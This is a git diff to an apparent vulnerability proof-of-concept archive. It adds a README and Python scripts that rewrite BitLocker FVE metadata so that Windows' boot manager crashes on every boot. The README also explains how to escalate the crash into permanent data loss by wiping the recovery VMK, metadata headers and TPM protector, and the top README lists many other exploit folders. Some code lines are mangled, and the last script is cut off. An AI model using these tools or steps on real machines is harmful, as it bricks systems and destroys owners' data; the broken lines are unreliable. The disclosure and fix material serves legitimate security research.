diff --git a/README.md b/README.md index 48710b3..410be32 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,14 @@ +https://discord.gg/WytKH65ZR join up for research, help, documentation, and more useful information for those interested. + +# News/Contact + +Credit for the objdump finding goes to someone who beat me to it (and has a better PoC): https://github.com/4D4J/objdump-Out-Of-Bounds-write + +New drop: Dirty CROW, a Linux kernel XArray iterator race condition for unprivileged local root. Documentation-only release, no exploit code. The biggest thing I've found so far. + +I've also noticed a surprising amount of "security researchers" aren't able to adjust the PoC to work in their environment. I will broaden the PoCs for those select few... + +If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl # Statement This repo was incomplete when published. @@ -22,6 +33,41 @@ A consolidated archive of my public proof-of-concept and vulnerability research Most folders contain one of my former standalone PoC repos, preserved with its original README and tracked files. New research entries are added directly here as self-contained folders. +## Contributed Research (by [Unrealisedd](https://github.com/Unrealisedd)) + +The following entries were contributed via PR: + +| Folder | Description | +| --- | --- | +| `openvpn-UAF-BYOVD` | ovpn-dco-win kernel driver CNG key UAF + crash PoC | +| `storsvc-dll-hijack-lpe` | StorSvc `LoadLibraryW("SprintCSP.dll")` without `LOAD_LIBRARY_SEARCH_SYSTEM32` | +| `dam-sys-kernel-bugs` | dam.sys: 3 kernel bugs from standard user (BSOD + confused deputy + Defender freeze) | +| `seb-service-auth-bypass-lpe` | Safe Exam Browser SYSTEM service auth bypass → RCE as SYSTEM via log injection | +| `defender-signature-lock-bypass` | CVE-2026-45498 patch bypass: `FILE_SHARE_READ` locks Defender signatures | +| `discord` | Discord Desktop RCE attack paths | +| `wazuh` | Wazuh stack BOF + SCA DoS | +| `nextcloud` | XXE file read/SSRF + SSRF protection bypass | +| `n8n-ssrf-via-oauth2` | SSRF via OAuth2 callback in n8n | +| `fluentbit-infinite-dos` | Fluent Bit collectd parser unauth DoS loop | +| `librenms-RCE-chain` | LibreNMS SSTI to RCE chain | +| `overwolf-updater-lpe-poc` | Overwolf Updater forged Authenticode cert + insecure service DACL → SYSTEM LPE | +| `spacedesk-service-lpe-poc` | spacedesk service Everyone full-control DACL → SYSTEM in 3 commands | +| `woodpecker-yaml-cr-injection` | Woodpecker CI pipeline RCE via `\r` YAML injection bypass | +| `retroarch-chd-map-heap-overflow` | RetroArch libchdr integer overflow → heap OOB write on 32-bit | +| `defender-ntlm-coercion-poc` | Windows Defender NTLM coercion: standard user forces SYSTEM credential leak via UNC scan | +| `‎keep-provider-invoke-unauth-rce-poc` | Unauthenticated RCE chain in the keep monitoring system | +| `mysql-router-mrs-oauth-cached-name-ato-poc` | MySQL Router MRS OAuth display-name cache collision → account takeover (CVSS 9.1) | +| `firefox-cert-override-sandbox-escape-poc` | Firefox IPC sandbox escape: unvalidated `AddCertException` → silent MITM on arbitrary hostnames | +| `mosquitto-builtin-websocket-preauth-rce-poc` | Eclipse Mosquitto built-in WebSocket pre-auth RCE via empty-frame heap overwrite (v2.1.0-v2.1.2) | +| `paho-mqtt-websocket-queued-frame-uaf-poc` | Paho MQTT C WebSocket queued-frame UAF: ASan UAF + allocator overlap + marker PC transfer | +| `nanomq-rule-republish-cjson-uaf-poc` | NanoMQ rule republish cJSON UAF/double-free: 5/5 ASan + 5/5 release crash | +| `samba-dns-mx-forwarder-talloc-uaf-poc` | Samba internal DNS forwarded MX talloc parent UAF: one-record ASan + two-record deterministic abort | +| `bitlocker-bootmgfw-type15-oob-dos` | bootmgfw.efi type-0x15 collector/selector count mismatch: persistent boot DoS + escalation to irrecoverable data loss | +| `fstx-yellowkey-regression-bitlocker-bypass` | MellowKey: FsTx refactoring regression re-enables YellowKey BitLocker bypass (24-byte check reduced to 8) | +| `linux-tpm1-seal-heap-overflow-lpe` | Linux kernel TPM1 trusted key seal heap overflow: KASAN-confirmed slab OOB write + full LPE chain (nobody -> root) | +| `openssh-nofd-streamlocal-root-rce` | OpenSSH 10.5p1 `--disable-fd-passing` authenticated root RCE: root sshd-session forwards to systemd private socket with UID 0 credentials | +| `windows-openssh-agent-pipe-squat-key-theft` | Windows OpenSSH ssh-agent named pipe squat: standard user captures victim's full ed25519 private key, proven downstream admin auth | + ## Contents | Folder | Source | Tracked entries | @@ -30,6 +76,8 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 | | `c-ares-tcp-uaf-calc-poc` | direct entry, June 24, 2026 | 7 | | `curl-smtp-expn-recipient-crlf-injection` | direct entry, July 1, 2026 | 3 | +| `defender-ntlm-coercion-poc` | direct entry, July 6, 2026 | 3 | +| `dirty-crow-xarray-lpe` | direct entry, September 6, 2026 | 142 | | `discord-activity-stock-client-rce-poc` | direct entry, July 14, 2026 | 8 | | `discourse-scoped-api-key-preauth-bypass` | direct entry, July 3, 2026 | 3 | | `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 | @@ -64,6 +112,17 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `redis-vset-duplicate-hnsw-id-rce-poc` | direct entry, July 3, 2026 | 3 | | `rustdesk-session-permission-pocs` | direct entry, June 25, 2026 | 17 | | `systeminformer-phsvc-trusted-host-lpe-poc` | direct entry, June 24, 2026 | 3 | +| `firefox-cert-override-sandbox-escape-poc` | direct entry, August 10, 2026 | 1 | +| `mysql-router-mrs-oauth-cached-name-ato-poc` | direct entry, August 10, 2026 | 7 | +| `mosquitto-builtin-websocket-preauth-rce-poc` | direct entry, August 13, 2026 | 6 | +| `nanomq-rule-republish-cjson-uaf-poc` | direct entry, August 20, 2026 | 4 | +| `paho-mqtt-websocket-queued-frame-uaf-poc` | direct entry, August 21, 2026 | 7 | +| `samba-dns-mx-forwarder-talloc-uaf-poc` | direct entry, August 21, 2026 | 4 | +| `bitlocker-bootmgfw-type15-oob-dos` | direct entry, August 21, 2026 | 4 | +| `fstx-yellowkey-regression-bitlocker-bypass` | direct entry, August 24, 2026 | 1 | +| `linux-tpm1-seal-heap-overflow-lpe` | direct entry, August 25, 2026 | 1 | +| `openssh-nofd-streamlocal-root-rce` | direct entry, August 26, 2026 | 4 | +| `windows-openssh-agent-pipe-squat-key-theft` | direct entry, August 26, 2026 | 3 | | `vlc-vp9-reschange-crash-poc` | `fae72b82f24d03cf2fb9cb55fbb2e7774f684ff3` | 3 | ## Consolidation Check @@ -83,7 +142,7 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories. -Direct entries, including `c-ares-tcp-uaf-calc-poc`, `curl-smtp-expn-recipient-crlf-injection`, `discord-activity-stock-client-rce-poc`, `discourse-scoped-api-key-preauth-bypass`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-152.0.5-backup-nss-rce-poc`, `firefox-152.0.6-stock-page-native-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `gogs-admin-csrf-git-hook-rce-poc`, `ladybird-wasm-esm-host-function-rce-poc`, `libarchive-zip-debuginfod-size-boundary`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nextcloud-federated-share-bearer-token-poc`, `nextjs-unstable-cache-object-argument-collision`, `nodebb-activitypub-attributedto-local-uid-spoof-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `openssh-agent-lock-provider-bypass`, `php857-streambucket-soap-rce-rpoc`, `pillow-imagecms-output-mode-oob-poc`, `postgres-ri-owner-switched-cast-poc`, `qemu-cxl-type3-mailbox-escape-poc`, `redis-vset-duplicate-hnsw-id-rce-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `curl-smtp-expn-recipient-crlf-injection`, `discord-activity-stock-client-rce-poc`, `discourse-scoped-api-key-preauth-bypass`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-152.0.5-backup-nss-rce-poc`, `firefox-152.0.6-stock-page-native-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `fstx-yellowkey-regression-bitlocker-bypass`, `gogs-admin-csrf-git-hook-rce-poc`, `ladybird-wasm-esm-host-function-rce-poc`, `libarchive-zip-debuginfod-size-boundary`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nextcloud-federated-share-bearer-token-poc`, `nextjs-unstable-cache-object-argument-collision`, `nodebb-activitypub-attributedto-local-uid-spoof-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `openssh-agent-lock-provider-bypass`, `php857-streambucket-soap-rce-rpoc`, `pillow-imagecms-output-mode-oob-poc`, `postgres-ri-owner-switched-cast-poc`, `qemu-cxl-type3-mailbox-escape-poc`, `redis-vset-duplicate-hnsw-id-rce-poc`, `rustdesk-session-permission-pocs`, `systeminformer-phsvc-trusted-host-lpe-poc`, `linux-tpm1-seal-heap-overflow-lpe`, `openssh-nofd-streamlocal-root-rce`, and `windows-openssh-agent-pipe-squat-key-theft`, are tracked by this repository's commit history. ## ABUSE diff --git a/bitlocker-bootmgfw-type15-oob-dos/README.md b/bitlocker-bootmgfw-type15-oob-dos/README.md new file mode 100644 index 0000000..242d3a7 --- /dev/null +++ b/bitlocker-bootmgfw-type15-oob-dos/README.md @@ -0,0 +1,155 @@ +# Persistent Boot DoS in bootmgfw.efi via FVE Metadata Count Mismatch + +## Summary + +The Windows Boot Manager (`bootmgfw.efi`) contains a count/capacity mismatch in the function that collects type-0x15 child datums from a BitLocker recovery-password VMK. The collector iterates all matching children and reports the total count, but only stores up to five pointers in a fixed-size stack array. Its caller trusts the reported count without bounds-checking and reads one slot past the end of the array when six children are present, landing on the stack cookie. The cookie is dereferenced as a datum pointer, causing a fault on unmapped memory. + +Because the malformed metadata lives on disk, the crash happens on every boot attempt. The machine becomes unbootable until the FVE metadata is manually repaired from external recovery media. + +## Affected Component + +| Field | Value | +|-------|-------| +| Binary | `bootmgfw.efi` | +| Tested build | SHA256 `490d08f9...3d857274` | +| Collector function | RVA `0x1ff6b4` | +| Selector function | RVA `0x1ffaa8` | +| Vulnerable instruction | RVA `0x1ffbda` (read of `[RCX+0x18]` where RCX = cookie) | + +## Root Cause + +Two functions work together to find type-0x15 children inside the recovery-password VMK datum. I'm calling them the **collector** and the **selector** based on their roles. + +### The collector (RVA 0x1ff6b4) + +This function walks the VMK's child datums looking for type-0x15 entries. It has a local array of 5 `qword` pointers on the stack and a counter (`BP`) that starts at zero. For each matching child: + +```asm +; At 0x1ff7b3 inside the collector +CMP BP, 0x5 ; is the counter below the array size? +JNC skip_store ; if >= 5, don't store the pointer +MOVZX EAX, BP +MOV [R12 + RAX*8], RDI ; store pointer at array[counter] +skip_store: +INC BP ; always increment -- even when we skipped the store +``` + +When it returns, the counter holds the *actual* number of type-0x15 children found (e.g. 6), but the array only holds the first five pointers. The function writes the counter to an output parameter and returns success. + +### The selector (RVA 0x1ffaa8) + +The selector calls the collector, then loops over the returned count to process each pointer: + +```asm +; The selector's loop starting around 0x1ffb78 +INC R13D ; increment loop counter +... +MOV RCX, [RBX] ; load pointer from array[i] +... +MOVZX EAX, word ptr [RCX+0x18] ; dereference it as a datum -- reads type field ← CRASH +ADD RBX, 8 ; advance to next slot +``` + +On the sixth iteration, `RBX` points past the array into the stack cookie slot. The cookie value gets loaded into `RCX` and dereferenced as a datum pointer, faulting on unmapped memory. + +> **The gap:** The collector bounds-checks the *store* but not the *count*. The selector trusts the count without checking it against the array capacity. Neither function is wrong in isolation -- the bug is in the contract between them. + +## Trigger + +An attacker modifies the on-disk FVE metadata to add a sixth type-0x15 child datum to the recovery-password VMK. BitLocker stores three redundant copies of its metadata, so all three need to be patched for the change to survive validation. + +The type-0x15 datum is a 28-byte (0x1C) structure. Inserting one requires: + +- Appending the datum to the VMK's child list +- Updating the VMK datum size field +- Updating the dataset size and end fields +- Updating the information block size field +- Recalculating the validation area CRC32 + +This is a structurally valid mutation -- the metadata passes all format validation checks. The only thing wrong with it is that there are six children instead of the expected five-or-fewer. + +## Attack Scenario + +1. Attacker gains raw disk write access to a BitLocker-encrypted volume (physical access via USB boot, or local admin / raw volume access on a running system) +2. Attacker locates the three FVE metadata copies (they start with the signature `-FVE-FS-` and are at fixed offsets) +3. Attacker inserts a sixth type-0x15 child into the recovery-password VMK in each copy and fixes up the size/CRC fields +4. On next boot, `bootmgfw.efi` parses the metadata, the collector reports count=6, the selector reads past the array, and the boot manager crashes +5. Every subsequent boot attempt hits the same crash -- the machine is bricked until the metadata is repaired from external recovery media + +## Impact + +**Primary: persistent denial of service.** The system is unbootable. The crash happens before the BitLocker recovery prompt, so even entering a valid recovery key is impossible. The user cannot self-recover without external tools and knowledge of the FVE metadata format. + +**Secondary: data loss through metadata destruction.** The encrypted volume data itself is intact after the basic trigger, but a typical user encountering a persistent boot loop on an encrypted machine is likely to conclude the data is unrecoverable and reformat -- that alone makes this a practical data-loss vector. + +With some additional work, this can be escalated to complete, irrecoverable data loss: + +- **Corrupt all three FVE metadata headers.** BitLocker stores three redundant copies of its metadata. The basic PoC already patches all three to trigger the crash. If the attacker goes further and zeroes or corrupts the metadata header signatures (`-FVE-FS-`) across all three copies, the volume becomes unrecognizable as a BitLocker volume entirely. Recovery tools like `manage-bde` or `repair-bde` rely on at least one intact metadata copy to locate the VMK and decrypt the volume. With all three gone, the volume is just raw encrypted bytes with no key material on disk. + +- **Destroy the recovery-password VMK itself.** Even if the victim saved an external recovery key (the 48-digit numerical password), that key is useless without the corresponding VMK datum to unwrap. The recovery key doesn't decrypt the volume directly -- it unwraps the VMK, which in turn holds the FVEK (Full Volume Encryption Key) that actually decrypts the data. If the attacker overwrites or zeroes the VMK datum contents inside the FVE metadata (not just the type-0x15 children but the VMK's key material itself), the chain breaks: recovery key -> VMK -> FVEK -> data. No VMK means the recovery key has nothing to unwrap, and the FVEK is never recoverable. + +- **Wipe the TPM protector.** If the machine uses TPM-based unlock (which most BitLocker deployments do), the TPM-sealed VMK protector is another path to the FVEK. Corrupting or zeroing the TPM protector datum in addition to the recovery VMK eliminates this fallback too. + +The result: even a victim who diligently saved their recovery key to a USB drive or printed it out cannot recover the volume. Every path from key material to FVEK is severed. The data is cryptographically intact on disk but permanently inaccessible -- effectively destroyed. + +All of this requires the same level of access as the basic DoS (raw disk writes to a powered-off volume), and the same patching approach (locate FVE metadata, modify datums, fix up sizes and CRCs). The PoC's existing `build_type15_overcount.py` library already knows how to parse and modify the FVE structure at this level. + +## Emulation Evidence + +I emulated the exact `bootmgfw.efi` collector and selector code using Unicorn Engine with six type-0x15 children. The surrounding functions (iterator, extractor, validator, allocator, free) are stubbed at their call boundaries. + +| Iteration | Slot address | Value loaded | Source | +|-----------|-------------|-------------|--------| +| 0 | `0x701fdf58` | `0x60002000` | array[0] -- valid | +| 1 | `0x701fdf60` | `0x60002100` | array[1] -- valid | +| 2 | `0x701fdf68` | `0x60002200` | array[2] -- valid | +| 3 | `0x701fdf70` | `0x60002300` | array[3] -- valid | +| 4 | `0x701fdf78` | `0x60002400` | array[4] -- valid | +| 5 | `0x701fdf80` | `0x2b995dc07d32` | **stack cookie** | + +On iteration 5, the slot address (`0x701fdf80`) matches `RBP - 0x19`, which is where the `/GS` stack cookie is stored. The cookie value `0x2b995dc07d32` is loaded and dereferenced as a datum pointer. The read at `cookie + 0x18` = `0x2b995dc07d4a` faults with `UC_ERR_READ_UNMAPPED`. + +## Reproduction + +### Prerequisites + +- A VirtualBox VM with a BitLocker-encrypted Windows installation (powered off) +- Python 3.10+ with `pefile` installed + +### Quick path -- patch only + +```bash +# Clone the VM disk to a standalone VDI first +VBoxManage clonemedium disk target.vdi --format VDI + +# Dry run -- shows what would change +python poc_patch_fve.py target.vdi + +# Apply the patch +python poc_patch_fve.py target.vdi --apply --output evidence.json + +# Boot the VM -- observe crash +``` + +## Suggested Fix + +Either cap the reported count to the array capacity in the collector, or have the selector bounds-check the count before iterating. The simplest fix in the collector: + +```asm +; After the iteration loop, before writing the count to the output parameter: +CMP BP, 0x5 +JBE count_ok +MOV BP, 0x5 ; clamp to array capacity +count_ok: +MOV [R15], BP +``` + +--- + +## Files Included + +| File | Description | +|------|-------------| +| `poc_patch_fve.py` | Standalone PoC -- patches a VDI with 6 type-0x15 children | +| `build_type15_overcount.py` | Low-level FVE metadata mutation library | +| `vdi_type15_overcount.py` | VDI image I/O and patch orchestration | diff --git a/bitlocker-bootmgfw-type15-oob-dos/build_type15_overcount.py b/bitlocker-bootmgfw-type15-oob-dos/build_type15_overcount.py new file mode 100644 index 0000000..c1722c7 --- /dev/null +++ b/bitlocker-bootmgfw-type15-oob-dos/build_type15_overcount.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python3 +"""Build a disposable BitLocker image that exercises the type-0x15 count bug. + +The output is for an isolated VM only. It never touches a mounted disk. +""" + +from __future__ import annotations + +import argparse +import struct +import zlib +from pathlib import Path + +SIGNATURE = b"-FVE-FS-" +INFO_HEADER_SIZE = 0x40 +DATASET_HEADER_SIZE = 0x30 +RECOVERY_PASSWORD_PRIORITY = 0x0800 +BACKUP_INFO = bytes.fromhex( + "1c00000015000100" + "0100000000000000" + "0000000000000000" + "01000000" +) +RECORD_COUNT = 6 + + +def u16(buf: bytes | bytearray, offset: int) -> int: + return struct.unpack_from(" int: + return struct.unpack_from(" dict[str, int]: + if record_count is None: + record_count = RECORD_COUNT + if not 1 <= record_count <= 0xFFFF: + raise ValueError(f"record count must be in 1..65535, got {record_count}") + + if image[offset : offset + 8] != SIGNATURE: + raise ValueError(f"0x{offset:x}: missing information signature") + + version = u16(image, offset + 0x0A) + if version != 2: + raise ValueError(f"0x{offset:x}: expected version 2, got {version}") + + old_info_size = u16(image, offset + 0x08) << 4 + old_info = bytearray(image[offset : offset + old_info_size]) + dataset = INFO_HEADER_SIZE + dataset_size = u32(old_info, dataset) + dataset_start = u32(old_info, dataset + 0x08) + dataset_end = u32(old_info, dataset + 0x0C) + if dataset_size != dataset_end or dataset_start < DATASET_HEADER_SIZE: + raise ValueError( + f"0x{offset:x}: unsupported dataset layout " + f"size=0x{dataset_size:x} start=0x{dataset_start:x} end=0x{dataset_end:x}" + ) + if dataset + dataset_end > old_info_size: + raise ValueError(f"0x{offset:x}: dataset exceeds information block") + + cursor = dataset + dataset_start + end = dataset + dataset_end + recovery_vmk = None + while cursor < end: + if end - cursor < 8: + raise ValueError(f"0x{offset:x}: truncated top-level datum") + datum_size, role, value_type, flags = struct.unpack_from(" end: + raise ValueError( + f"0x{offset:x}: invalid datum size 0x{datum_size:x} at +0x{cursor:x}" + ) + if role == 2 and value_type == 8 and datum_size >= 0x24: + priority = u16(old_info, cursor + 0x22) + if priority == RECOVERY_PASSWORD_PRIORITY: + if recovery_vmk is not None: + raise ValueError(f"0x{offset:x}: multiple recovery VMKs") + recovery_vmk = (cursor, datum_size) + cursor += datum_size + if cursor != end: + raise ValueError(f"0x{offset:x}: dataset does not end on a datum boundary") + if recovery_vmk is None: + raise ValueError(f"0x{offset:x}: no recovery-password VMK") + + vmk_offset, old_vmk_size = recovery_vmk + insertion = vmk_offset + old_vmk_size + extra = BACKUP_INFO * record_count + new_vmk_size = old_vmk_size + len(extra) + new_dataset_size = dataset_size + len(extra) + if new_vmk_size > 0xFFFF: + raise ValueError("VMK datum size exceeds u16") + + logical = bytearray(old_info[:insertion]) + logical.extend(extra) + logical.extend(old_info[insertion : dataset + dataset_end]) + struct.pack_into("> 4) + + old_validation_size = u16(image, offset + old_info_size) + total_block_size = old_info_size + old_validation_size + if total_block_size == 0 or total_block_size & (total_block_size - 1): + raise ValueError(f"0x{offset:x}: metadata block size is not a power of two") + new_validation_size = total_block_size - new_info_size + if not 0x10 <= new_validation_size <= 0xFFFF: + raise ValueError(f"0x{offset:x}: invalid resized validation area") + + old_validation = bytearray( + image[offset + old_info_size : offset + total_block_size] + ) + removed_tail = old_validation[new_validation_size:] + if any(removed_tail): + raise ValueError(f"0x{offset:x}: refusing to truncate nonzero validation bytes") + new_validation = old_validation[:new_validation_size] + struct.pack_into(" None: + parser = argparse.ArgumentParser() + parser.add_argument("input", type=Path) + parser.add_argument("output", type=Path) + parser.add_argument("--record-count", type=int, default=RECORD_COUNT) + args = parser.parse_args() + + source = args.input.read_bytes() + image = bytearray(source) + offsets = [] + start = 0 + while True: + found = source.find(SIGNATURE, start) + if found < 0: + break + offsets.append(found) + start = found + 1 + + if not offsets: + raise SystemExit("No BitLocker information blocks found") + + results = [ + patch_information_block(image, offset, args.record_count) + for offset in offsets + ] + args.output.write_bytes(image) + + print(f"input={args.input} bytes={len(source)}") + print(f"output={args.output} bytes={len(image)}") + for result in results: + print( + "patched " + + " ".join( + f"{key}=0x{value:x}" if key != "record_count" else f"{key}={value}" + for key, value in result.items() + ) + ) + + +if __name__ == "__main__": + main() diff --git a/bitlocker-bootmgfw-type15-oob-dos/poc_patch_fve.py b/bitlocker-bootmgfw-type15-oob-dos/poc_patch_fve.py new file mode 100644 index 0000000..b86da64 --- /dev/null +++ b/bitlocker-bootmgfw-type15-oob-dos/poc_patch_fve.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python3 +"""PoC: BitLocker boot manager DoS via type-0x15 count/capacity mismatch. + +Patches the three FVE metadata copies in a VDI to contain six type-0x15 +children in the recovery-password VMK. bootmgfw.efi's collector retains +five pointers but reports the true count; the selector trusts that count +and reads one slot past the array into the stack cookie, crashing the +boot manager on every boot attempt. + +Usage: + python poc_patch_fve.py # dry-run (no writes) + python poc_patch_fve.py --apply # patch in place + +Only operates on powered-off, flattened VDI files. Never run on a host +boot disk — use a VM clone. +""" + +from __future__ import annotations + +import argparse +import json +import sys +from pathlib import Path + +import build_type15_overcount as builder +import vdi_type15_overcount as vdi + +TARGET_COUNT = 6 +EXPECTED_COPIES = 3 + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Patch BitLocker FVE metadata to trigger bootmgfw OOB read" + ) + parser.add_argument("image", type=Path, help="powered-off flattened VDI") + parser.add_argument( + "--apply", action="store_true", + help="write patches (without this flag, dry-run only)" + ) + parser.add_argument("--output", type=Path, help="write JSON evidence to file") + args = parser.parse_args() + + if not args.image.exists(): + print(f"error: {args.image} not found", file=sys.stderr) + return 1 + + mode = "APPLYING" if args.apply else "DRY RUN" + print(f"[*] {mode}: patching {args.image}") + print(f"[*] target type-0x15 count: {TARGET_COUNT} (capacity: 5)") + + with vdi.VdiImage(args.image, writable=args.apply) as image: + info_blocks = image.information_blocks() + if len(info_blocks) != EXPECTED_COPIES: + print( + f"error: expected {EXPECTED_COPIES} FVE metadata copies, " + f"found {len(info_blocks)}", + file=sys.stderr, + ) + return 1 + + print(f"[+] found {len(info_blocks)} FVE metadata copies") + + patches = vdi.build_patches(image, TARGET_COUNT, EXPECTED_COPIES) + + if args.apply: + for patch in patches: + offset = int(patch["disk_offset"]) + image.write(offset, patch["data"]) + print(f"[+] patched metadata at disk offset 0x{offset:x}") + image.flush() + + for patch in patches: + offset = int(patch["disk_offset"]) + written = image.read(offset, int(patch["block_size"])) + count = len(vdi.recovery_type15_children(written)) + if count != TARGET_COUNT: + print(f"error: verify failed at 0x{offset:x}", file=sys.stderr) + return 1 + print(f"[+] verified all {EXPECTED_COPIES} copies") + else: + for patch in patches: + offset = int(patch["disk_offset"]) + print( + f"[*] would patch metadata at 0x{offset:x}: " + f"{patch['existing_type15_count']} -> {TARGET_COUNT} children" + ) + print(f"\n[!] dry run — pass --apply to write") + + if args.output: + evidence = { + "image": str(args.image), + "mode": "applied" if args.apply else "dry-run", + "target_count": TARGET_COUNT, + "array_capacity": 5, + "metadata_copies": EXPECTED_COPIES, + "patches": [vdi.serializable_patch(p) for p in patches], + "bug": ( + "collector at RVA 0x1ff6b4 stores min(count,5) pointers " + "but reports actual count; selector at RVA 0x1ffaa8 reads " + "array[count-1] which for count=6 is the stack cookie" + ), + "impact": "persistent boot DoS — bootmgfw crashes before recovery prompt", + } + args.output.write_text(json.dumps(evidence, indent=2) + "\n") + print(f"[+] evidence written to {args.output}") + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/bitlocker-bootmgfw-type15-oob-dos/vdi_type15_overcount.py b/bitlocker-bootmgfw-type15-oob-dos/vdi_type15_overcount.py new file mode 100644 index 0000000..8e3b33b --- /dev/null +++ b/bitlocker-bootmgfw-type15-oob-dos/vdi_type15_overcount.py @@ -0,0 +1,428 @@ +#!/usr/bin/env python3 +"""Patch a standalone VDI to exercise bootmgfw's type-0x15 count mismatch. + +The boot manager collector retains five pointers but reports every matching +child. Its caller trusts the reported count. A target count of five is the +live control; six makes the caller read its adjacent stack-cookie slot as a +sixth pointer. + +Only powered-off, flattened VDI images are accepted. The script discovers and +patches every BitLocker information-block copy in-place only with --apply. +""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import os +import struct +import uuid +from dataclasses import dataclass +from pathlib import Path +from typing import BinaryIO + +import build_type15_overcount as builder + +VDI_SIGNATURE = 0xBEDA107F +VDI_VERSION_1_1 = 0x00010001 +VDI_TYPE_DYNAMIC = 1 +VDI_TYPE_STATIC = 2 +VDI_UNALLOCATED = 0xFFFFFFFF +VDI_DISCARDED = 0xFFFFFFFE +SECTOR_SIZE = 512 +BITLOCKER_SIGNATURE = b"-FVE-FS-" +RECOVERY_VMK_MIN_SIZE = 0x24 + + +def u16(buf: bytes | bytearray, offset: int) -> int: + return struct.unpack_from(" int: + return struct.unpack_from(" str: + return hashlib.sha256(data).hexdigest() + + +def uuid_text(raw: bytes) -> str: + if raw == bytes(16): + return str(uuid.UUID(int=0)) + return str(uuid.UUID(bytes_le=raw)) + + +@dataclass(frozen=True) +class VdiHeader: + version: int + image_type: int + offset_bmap: int + offset_data: int + sector_size: int + disk_size: int + block_size: int + block_extra: int + blocks_in_image: int + blocks_allocated: int + uuid_image: bytes + uuid_link: bytes + uuid_parent: bytes + + @classmethod + def parse(cls, raw: bytes) -> "VdiHeader": + if len(raw) != 512: + raise ValueError(f"short VDI header: {len(raw)} bytes") + signature = u32(raw, 0x40) + if signature != VDI_SIGNATURE: + raise ValueError(f"not a VDI image: signature 0x{signature:08x}") + header = cls( + version=u32(raw, 0x44), + image_type=u32(raw, 0x4C), + offset_bmap=u32(raw, 0x154), + offset_data=u32(raw, 0x158), + sector_size=u32(raw, 0x168), + disk_size=struct.unpack_from(" header.blocks_in_image * header.block_size: + raise ValueError("VDI block map is smaller than the virtual disk") + if header.uuid_parent != bytes(16): + raise ValueError( + "refusing a differencing VDI; flatten it with VBoxManage clonemedium first" + ) + return header + + def as_dict(self) -> dict[str, int | str]: + return { + "version": f"0x{self.version:08x}", + "image_type": self.image_type, + "offset_bmap": self.offset_bmap, + "offset_data": self.offset_data, + "sector_size": self.sector_size, + "disk_size": self.disk_size, + "block_size": self.block_size, + "blocks_in_image": self.blocks_in_image, + "blocks_allocated": self.blocks_allocated, + "uuid_image": uuid_text(self.uuid_image), + "uuid_link": uuid_text(self.uuid_link), + "uuid_parent": uuid_text(self.uuid_parent), + } + + +class VdiImage: + def __init__(self, path: Path, writable: bool) -> None: + self.path = path.resolve() + self.writable = writable + self.file: BinaryIO = self.path.open("r+b" if writable else "rb") + self.header = VdiHeader.parse(self.file.read(512)) + self.file.seek(self.header.offset_bmap) + raw_map = self.file.read(self.header.blocks_in_image * 4) + if len(raw_map) != self.header.blocks_in_image * 4: + raise ValueError("truncated VDI block map") + self.block_map = list( + struct.unpack(f"<{self.header.blocks_in_image}I", raw_map) + ) + actual_allocated = sum(entry < VDI_DISCARDED for entry in self.block_map) + if actual_allocated != self.header.blocks_allocated: + raise ValueError( + "VDI allocated-block mismatch: " + f"header={self.header.blocks_allocated} map={actual_allocated}" + ) + + def __enter__(self) -> "VdiImage": + return self + + def __exit__(self, exc_type, exc, traceback) -> None: + self.file.close() + + def _file_offset(self, virtual_offset: int) -> int | None: + if not 0 <= virtual_offset < self.header.disk_size: + raise ValueError(f"virtual offset outside disk: 0x{virtual_offset:x}") + block_index, within = divmod(virtual_offset, self.header.block_size) + entry = self.block_map[block_index] + if entry >= VDI_DISCARDED: + return None + if entry >= self.header.blocks_allocated: + raise ValueError( + f"invalid block-map entry {entry} for virtual block {block_index}" + ) + return self.header.offset_data + entry * self.header.block_size + within + + def read(self, virtual_offset: int, length: int) -> bytes: + if length < 0 or virtual_offset + length > self.header.disk_size: + raise ValueError("virtual read outside disk") + chunks: list[bytes] = [] + remaining = length + while remaining: + within = virtual_offset % self.header.block_size + count = min(remaining, self.header.block_size - within) + physical = self._file_offset(virtual_offset) + if physical is None: + chunks.append(bytes(count)) + else: + self.file.seek(physical) + chunk = self.file.read(count) + if len(chunk) != count: + raise ValueError(f"short VDI data read at 0x{physical:x}") + chunks.append(chunk) + virtual_offset += count + remaining -= count + return b"".join(chunks) + + def write(self, virtual_offset: int, data: bytes | bytearray) -> None: + if not self.writable: + raise ValueError("VDI was opened read-only") + if virtual_offset + len(data) > self.header.disk_size: + raise ValueError("virtual write outside disk") + view = memoryview(data) + remaining = len(data) + consumed = 0 + while remaining: + within = virtual_offset % self.header.block_size + count = min(remaining, self.header.block_size - within) + physical = self._file_offset(virtual_offset) + if physical is None: + raise ValueError( + f"refusing to allocate VDI block for write at 0x{virtual_offset:x}" + ) + self.file.seek(physical) + written = self.file.write(view[consumed : consumed + count]) + if written != count: + raise OSError(f"short VDI data write at 0x{physical:x}") + virtual_offset += count + consumed += count + remaining -= count + + def flush(self) -> None: + self.file.flush() + os.fsync(self.file.fileno()) + + def signature_offsets(self) -> 